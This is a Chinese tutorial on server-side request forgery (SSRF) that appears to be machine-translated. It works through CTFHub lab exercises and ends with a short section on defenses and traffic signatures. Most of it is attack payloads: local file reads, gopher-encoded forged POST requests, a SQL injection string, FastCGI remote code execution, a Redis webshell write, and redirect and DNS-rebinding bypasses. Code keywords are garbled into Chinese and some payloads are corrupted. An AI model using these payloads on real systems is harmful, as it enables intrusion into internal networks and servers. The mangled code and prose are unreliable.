SSRF漏洞定义
SSRF(服务器端请求伪造)是攻击者构造的从服务器发起请求的安全漏洞。
攻击的目标
外部网络无法访问的内部系统(由服务器启动,因此可以请求与服务器连接且与外部网络隔离的内部网络;该网络请求的服务可以作为攻击的跳板)马苏。)
形成的原因
主要原因是服务器提供了从其他服务器应用程序检索数据的能力,并且不过滤或限制目标地址。
SSRF漏洞危害
通过服务器A(SSRF服务器),访问A内网其他服务器获取信息,利用SSRF利用其他漏洞。
1.使用文件协议读取本地文件
2、对内网和服务器所在本地进行端口扫描,获取部分服务的banner信息。
3、攻击内网或本地运行的应用程序
4、内网Web应用进行指纹识别,识别企业资产信息
5、攻击内网和外网的Web应用程序。这是一种主要使用HTTP GET 请求执行的攻击。
SSRF漏洞的利用可以分为两个方向:相关PHP功能和常用的相关协议。
相关php函数
curl_exec() 用于运行cURL 会话并处理复杂的HTTP 请求。
fsockopen() 打开网络连接以进行低级网络通信
file_get_contents() 将文件或URL 的内容读取到字符串中。它简单而高效。
fopen() 打开文件或URL,可用于读写操作。
readfile() 读取文件并直接打印。它简单又快速。
常利用的相关协议
从文件系统中获取文件的内容,如file://file:///etc/passwd。
http://常规URL 形式
dict://词典服务协议,访问词典资源(如dict:///ip:6767/info:)
ftp://可用于网口扫描
gopher://分布式文档分发服务
file://
从文件系统获取文件的内容。格式为file://[文件路径]。
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP。
file:///proc/net/arp 显示arp缓存表(搜索内网其他主机)
file:///proc/net/fib_trie 显示当前网段的路由信息。
http://
特点: 常规URL 格式。允许通过HTTP 1.0 GET 方法对文件或资源进行只读访问。
http://example.com
http://example.com/file.php?var1=val1 var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1 var2=val2
https://user:password@example.com
协议之间的差异:
找到存活的内网主机file:的IP //.
查找内网主机dict://、ftp://上开放的端口。
目录扫描http://
例如内网http://127.0.0.1通过目录扫描检索网站的子页面,使用burp打开代理拦截页面,发送给入侵者。子页面是http://127.0.0.1/文件名+ 后缀并添加该有效负载变量。文件名和后缀。
根据数据包大小判断是否有内容页。您可以添加扫描选项,例如php、zip、txt 等。
dict://
找到内网主机上开放的端口以检索内网信息。格式为dict://+ip:端口+/TCP/IP数据。
ftp://也可以用于网口扫描,但效率相对较低。
通过burpsuite抓包,在URL后面添加dict://192.168.225.1:80。
为1和80添加模块,选择集束炸弹,配置负载并测试。
1、根据长度决定是否返回数据,判断端口是否开放。
2. 使用不同的有效负载同时扫描多个IP上的多个端口
gopher:// (做题可能会出错,很正常,保持耐心)
gopher: //分布式文档分发服务。该服务允许用户无缝地浏览、搜索和检索来自不同位置的信息。 gopher协议是ssrf中使用最广泛的协议。
**使用范围:**GET发送、POST发送、redis、fastcgi、SQL
基本格式:
gopher://目标IP:端口/gopher-path
请注意,gopher 协议的默认端口是70,您还需要添加Web 端口。
测试时,在kali终端中打开nc监听70端口,然后运行curl gopher://127.0.0.l/abcd(如果不输入端口,则gopher协议默认为70端口)。不转发Gopher 请求字符。
因此,为了保证传输的数据正确,第一个字符必须用下划线_或其他字符填充。
gopher伪协议实现GET提交
必须保存标题信息。
1.路径:GET /name.php?name=123 HTTP/1.1
2、目标地址:主机:172.250.250.4
gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
消息:
添加端口号80 和填充位
网址编码:
空间:%20
问号:%3f
换行符:%0d%0A
1. 问号(?)必须转码为URL 编码(%3f)。
2、回车换行改为%0D%0A,但如果直接使用工具转换,可能只能得到%0A。
3. 在HTTP 数据包末尾添加%0D%0A(换行符)以指示消息结束(了解有关HTTP 数据包结束的更多信息)。
4. 将URL 编码更改为大写,并注意冒号内的英文冒号。
5、使用BP发送包时,必须进行两次URL编码。
6. 您需要在GET 提交的末尾添加换行符
gopher伪协议实现POST提交
必须保留标头信息:POST、Host、Content-Type、Content-Length
对以下保留内容进行URL 编码两次。
POST /name.php HTTP/1.1
主机:172.250.250.4
内容类型:application/x-www-form-urlencoded
内容长度:8
名称=123
消息:
1. POST 后面是要发送的文件名。
2.host为目标主机
3.类型必须与提交的类型一致
4.长度是下面提交的内容的具体长度。
5. 中间不能有空行。
6、回车换行改为%0D%0A,但如果直接用工具转换的话,可能只是%0A。
无论是GET还是POST提交,gopher的格式都保持不变。
gopher://172.250.250.4:80/_此处将粘贴编码后的内容
CTFHub技能树:
1. 输入?url=file:///var/www/html/flag.php 得到以下代码。
?php
错误报告(0);
if ($_SERVER[\’REMOTE_ADDR\’] !=\’127.0.0.1\’) {
echo \’仅显示127.0.0.1\’;
返回;
}
$flag=getenv(\’CTFHUB\’);
$key=md5($flag);
if (isset($_POST[\’key\’]) $_POST[\’key\’]==$key) {
回显$标志;
出口;
}
?
表单操作=\’/flag.php\’方法=\’post\’
输入类型=\’文本\’名称=\’键\’
!– Debug: key=?php echo $key;–
/形状
2. 输入“?url=127.0.0.1/flag.php”。
回声:
表单操作=\’/flag.php\’方法=\’post\’
输入类型=\’文本\’名称=\’键\’
!– Debug: key=1766811aa32af96837a1e79f776bfbd6–
/形状
找到键的值
3. 然后您可以按如下方式构建您的有效负载:
POST /flag.php HTTP/1.1
主机:127.0.0.1
内容类型:application/x-www-form-urlencoded
内容长度:36
密钥=1766811aa32af96837a1e79f776bfbd6
一次URL 编码后: POST%20/flag.php%20HTTP/1.1%0AHost%3A127.0.0.1%0AContent-Type%3Aapplication/x-www-form-urlencoded%0AContent-Length%3A36%0A%0Akey% 3D1766811aa32af96837a1e79f776bfbd6
注意:%0A 必须替换为%0D%0A
第二次编码后: POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A36 % 250D%250A%250D%250Akey%253D1766811aa32af96837a1e79f776bfbd6
4. 在编码后的payload前添加?url=gopher://127.0.0.1:80/_,并在浏览器框中输入?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%。 250AHost% 253A127.0.0.1%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A36%250D%250A%250D%250Akey%253D1766811aa32af 9683 7a1e79f7 76bfbd6 ,你可以获得的标志
SSRF之绕过
URL绕过
1.使用[:]
http://[:]:80/=http://127.0.0.1
http://[:]/如果没有添加端口
2.使用@
此处,在指定的URL 后添加@127.0.0.1。
3.使用短域名
http://dwz.cn/11SMa http://127.0.0.1
4. 使用期限
127.0.0.1=127.0.0.1
环回地址绕过
CTF 竞赛对本地网站内容的访问可能受到限制。如果$_SEVER[\’REMOTE_ADDR\’]==\’127.0.0.1\’ 则标志必须为127.0.0.1 才能访问它。这次您可以为变形旁路设置127.0 .0.1。
302重定向绕过
如果您的私网地址被过滤,您可以使用302 重定向来绕过它。 (需要公网服务器或者将VMware网卡改为公网)
**原理:** 当您访问公网IP上的PHP文件(包含重定向代码)时,PHP文件会重定向访问代码中的目标地址,从而实现绕过。
这是php 代码:
?php
标头(\’Location:http://127.0.0.1/flag.php\’);
?
DNS重绑定绕过
首先,您应该知道针对SSRF 漏洞的防御通常包括:
1. 确定目标URL并获取其主机。
2. 解析主机并获取其指向的IP地址。
3、检查IP地址是否为内网地址
4. 请求网址
5、如果有跳转,则检索跳转URL并再次执行步骤1。
上述防御措施有效限制了:
直接访问您的内网IP。
302 跳跃。
xip.io/xip.名称;
短链接转换和其他URL转换。
网址格式错误。
iframe 攻击;
基于IP的转换。
DNS 重新绑定攻击**可用于此类防御。
SSRF 保护需要两个DNS 解析。第一次DNS解析是对URL的主机进行DNS解析。
使用CURL发送数据包时进行第二次DNS解析。我们的突破是第二个DNS解析。
攻击原理
利用服务器之间的短暂间隙,两次解析同一域名并更改域名后面的IP以破坏同源策略或通过WAF运行ssrf。
攻击方式
1. 将第一个DNS解析IP设置为合法IP,以绕过主机有效性检查。
2. 将第二个DNS解析IP设置为您的内网IP,以允许SSRF访问您的内网。
您应该在此处使用的网站是:https://lock.cmpxchg8b.com/rebinder.html
例如,CTFHUB技能树的DNS重新绑定,只需输入上述网站的A和B的IP地址即可,B随便写。
通过复制下面生成的DNS 来构建有效负载:url=7f000001.e170d501.rbndr.us/flag.php 发送GET 以获取标志。
SSRF漏洞利用
文件上传利用(ctfhub技能树上传文件)
格式要求:
1、打开网站,进入?url=127.0.0.1/flag.php页面,注意没有文件上传的提交按钮。于是检查源代码,在表单中写一个提交按钮。
2、只需新建一个文件,在提交时使用burp套件进行抓包,捕获POST提交时需要的内容。
3. 只需更改主机和内容长度即可。这是脚本:
导入urllib.parse
有效负载=\\
\’\’\’POST /flag.php HTTP/1.1
主机: 127.0.0.1
内容长度: 285
Content-Type: multipart/form-data=—WebKitFormBoundarypE3OJURMLr0Wyw1s;
——WebKitFormBoundarypE3OJURMLr0Wyw1s
Content-Disposition: 表单数据名称=\’文件名\’;
内容类型: 应用程序/八位字节流
?php?
——WebKitFormBoundarypE3OJURMLr0Wyw1s
Content-Disposition: 表单数据名称=\’发送\’
提交
——-WebKitFormBoundarypE3OJURMLr0Wyw1s–
””
tmp=urllib.parse.quote(有效负载)
新=tmp.replace(\’%0A\’,\’%0D%0A\’)
结果=\’gopher://127.0.0.1:80/\’+\’_\’+new
结果=urllib.parse.quote(结果)
打印(结果)
生成的有效负载为:url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250A%2520%2520%2520%2520Host%253A% 2520127.0.0.1%250D % 250A%2520%2520%2520%2520内容长度%253A%2520292%250D%250A%2520%2520%2520%2520内容类型%253A%2520multipart/form-data%253B%25 20boundary%253D- —WebKitFormBoundary1lYap MMA3NDrr2iY %250D %250A%2520%2520%2520%2520—-WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520Content-Disposition%253A%2520form-data%253B%2520name%253D%2522File% 2 522 %253B % 2520文件名%253D%2522test.txt%2522%250D%250A%2520%2520%2520%2520内容类型%253A%2520文本/纯文本%250D%250A%2520%2520%2520 %2520SSRF%2520上传%2 50D%250 % 2520% 2520%2520%2520—-WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520内容处置%253A%2520表单数据%253B% 2520名称%253D%2522提交%2522%25 0 D%2 50A%2520 %2520 %2520%2520%25E6%258F%2590%25E4%25BA%25A4%250D%250A%2520%2520%2520%2520——WebKitFormBoundary1lYA pMMA3NDrr2iY –, 获取标志
SQL注入
GET提交
在GET 提交中,空格必须编码为%20。您不能直接键入空格或+号。
请注意,在浏览器栏中发送特殊字符需要进行一次URL 编码,但在Hackbar 和Burpsuite 中发送GET 或POST 数据需要在构建的原始负载中进行两次URL 编码,请小心。
POST提交
对以下代码进行两次URL 编码,以gopher://127.0.0.1:80/_ 开头。
POST /Less-11/index.php HTTP/1.1
主机: 127.0.0.1
内容类型:application/x-www-form-urlencoded
内容长度:53
uname=-1\’union select 1,2 #passwd=123submit=提交
拼接后,发送POST即可。
FastCGI协议
FastCGI原理:https://blog.csdn.net/mysteryflower/article/details/94386461
漏洞背后原理的快速总结。
PHP-FPM的fix_pathinfo配置:
PHP-FPM的fix_pathinfo选项用于支持路径信息模式。打开时,如果SCRIPT_FILENAME 指定的文件不存在,PHP-FPM 将逐渐删除路径的最后部分,直到找到现有文件。
这种机制使得Nginx传递的路径信息被PHP-FPM错误地解析并执行,形成解析漏洞。
**用法:** 如果构造一个特定的URL,例如http://127.0.0.1/favicon.ico/.php,Nginx 传递的SCRIPT_FILENAME 将是/var/www/html/favicon.ico/.php。
根据fix_pathinfo设置,PHP-FPM在删除.php后解析并执行/var/www/html/favicon.ico文件,导致解析漏洞。
PHP-FPM的安全配置:
PHP-FPM的security.limit_extensions配置项限制可执行文件后缀的类型,以防止任意文件运行。
默认情况下,只允许运行.php 文件,但如果配置不当,可能会导致任意文件执行漏洞。
**利用:** 将PHP-FPM 的9000 端口暴露到公共网络,允许攻击者直接与PHP-FPM 通信并构造FastCGI 请求。
通过构建特定的环境变量(例如PHP_VALUE 和PHP_ADMIN_VALUE)来设置PHP 配置项。例如:
{
\’GATEWAY_INTERFACE\’: \’FastCGI/1.0\’,
\’REQUEST_METHOD\’: \’获取\’,
\’SCRIPT_FILENAME\’: \’/var/www/html/index.php\’,
\’SCRIPT_NAME\’: \’/index.php\’,
\’QUERY_STRING\’: \’?a=1b=2\’,
\’REQUEST_URI\’: \’/index.php?a=1b=2\’,
\’DOCUMENT_ROOT\’: \’/var/www/html\’,
\’SERVER_SOFTWARE\’: \’php/fcgiclient\’,
\’REMOTE_ADDR\’:\’127.0.0.1\’,
\’远程端口\’:\’12345\’,
\’SERVER_ADDR\’:\’127.0.0.1\’,
\’服务器端口\’: \’80\’,
\’SERVER_NAME\’: \’本地主机\’,
\’SERVER_PROTOCOL\’: \’HTTP/1.1\’
\’PHP_VALUE\’: \’auto_prepend_file=php://输入\’,
\’PHP_ADMIN_VALUE\’: \’allow_url_include=on\’
}
设置auto_prepend_file=php://input和allow_url_include=On将恶意代码放入请求正文中以执行任意代码。
CTFHub技能树FastCGI协议
1. 要使用FastCGI协议,首先找到目标主机上存在的.php后缀文件。通过在此处输入url=file:///var/www/html/index.php 来验证源代码是否存在。
2. 在kali中打开gopherus并输入命令来构建有效负载。首先输入php文件的位置,然后输入要运行的命令:ls /。
3. 将生成的payload放入bp中,再次进行URL编码。
4. GET 传递有效负载并了解标志的实际名称,因此重新构建有效负载。将命令更改为cat /flag_198d5102767c129bfeace112e4473230。
5. 再次对有效负载进行URL 编码并传递它以获取标志。
Redis协议
在使用SSRF攻击Redis之前,首先需要了解Red
is的客户端和服务端的通信方式,以及数据发送的格式。这里就涉及到一个RESP协议
RESP协议
RESP协议(REdis Serialization Protocol)是Redis客户端与服务器之间通信的协议。它是一种简单、高效的文本协议,易于实现且具有良好的可读性。
RESP协议支持多种数据类型,包括简单字符串、错误信息、整数、批量字符串和数组:
简单字符串以+开头
错误信息以-开头
整数以:开头
批量字符串以$开头
数组以*开头
每种类型的数据均以CRLF(\\r\\n)结束,通过数据的首字符区分类型
例如:
这里第一行的*4代表了数组长度为4([‘config’,‘set’,‘dir’,‘/var/www/html/’]),第二行的$6代表了字符串的长度(config的长度),其中每一个换行都是\\r\\n在设置payload时需要更换成%0D%0A
Redis未授权webshell写入
例题:CTFHub技能树–Redis协议
1、这道题提示redis://127.0.0.1:6379,那我们就使用dict协议去检测端口是否开放:dict://127.0.0.1:6379,发现是开放的。
2、那我们直接使用gopherus工具进行构造payload(这里两个地方都使用默认值):
3、对生成的payload进行第二次url编码,拼接到?url=后面,提交后回显504超时,这里应该是因为工具生成的payload的末尾没有加上quit,使得payload是挂起状态,但是实际上shell.php已经写入html目录下了。
4、访问shell.php,并在后面接上参数cmd=ls /,展示根目录下的文件,发现flag的信息,直接cat /f*即可。
SSRF防御
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
流量特征分析
• 请求来源一般是内网服务器
• 请求较为频繁
• 异常的协议使用,如file,dict,gopher,ftp等伪协议
• url中的url跳转相关参数为内网ip或者是不寻常的外部地址
补:与url相关的参数 url,sourceURL,imageURL,share,link,target,domain
• url跳转相关的参数可能出现一些特殊字符,编码等尝试进行饶过安全设备检测
• url跳转相关的参数可能访问端口为异常端口如8080,9090等端口
补:内部服务可能配置在一些非标准端口上
• url跳转相关的参数可能出现以下php中的函数
file_get_contents() 作用是读取文件内容获取网络资源
fsockopen() 作用是开启网络连接
curl_exec() 使用所有的网络协议
#以上关于SSRF漏洞详解的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93983.html